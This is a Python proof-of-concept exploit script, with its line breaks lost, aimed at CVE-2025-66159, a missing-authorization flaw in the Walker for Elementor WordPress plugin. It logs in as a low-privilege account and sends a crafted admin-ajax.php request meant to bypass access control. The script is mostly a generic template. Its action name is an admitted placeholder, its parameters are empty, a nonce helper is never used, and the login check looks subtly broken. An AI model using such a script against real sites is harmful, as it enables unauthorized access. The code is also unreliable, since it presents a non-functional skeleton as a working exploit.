CVE-2025-66159

# CVE-2025-66159 PoC - Walker for Elementor Missing Authorization # This PoC demonstrates how a low-privilege user can exploit the broken access control import requests import sys from bs4 import BeautifulSoup # Configuration target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "password123" def get_nonce_and_cookies(session, login_url): """Obtain login nonce and cookies""" response = session.get(login_url) soup = BeautifulSoup(response.text, 'html.parser') nonce = soup.find('input', {'id': 'wpnonce'}) if nonce: return nonce['value'], dict(session.cookies) return None, dict(session.cookies) def exploit_missing_authorization(target_url, username, password): """Exploit CVE-2025-66159 - Missing Authorization vulnerability""" session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Successfully logged in as low-privilege user") # Step 2: Identify vulnerable AJAX endpoint # The plugin's AJAX handlers are accessible without proper authorization ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 3: Send malicious request exploiting broken access control # Adjust the action and parameters based on specific vulnerable function exploit_data = { 'action': 'walker_elementor_vulnerable_action', # Specific action varies 'nonce': '', # May not be required due to missing check '_wpnonce': '', # Additional parameters for exploitation } exploit_response = session.post(ajax_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Exploit request sent successfully") print(f"[*] Response: {exploit_response.text[:500]}") return True else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return False if __name__ == "__main__": print("CVE-2025-66159 - Walker for Elementor Missing Authorization PoC") print("=" * 60) exploit_missing_authorization(target_url, username, password)

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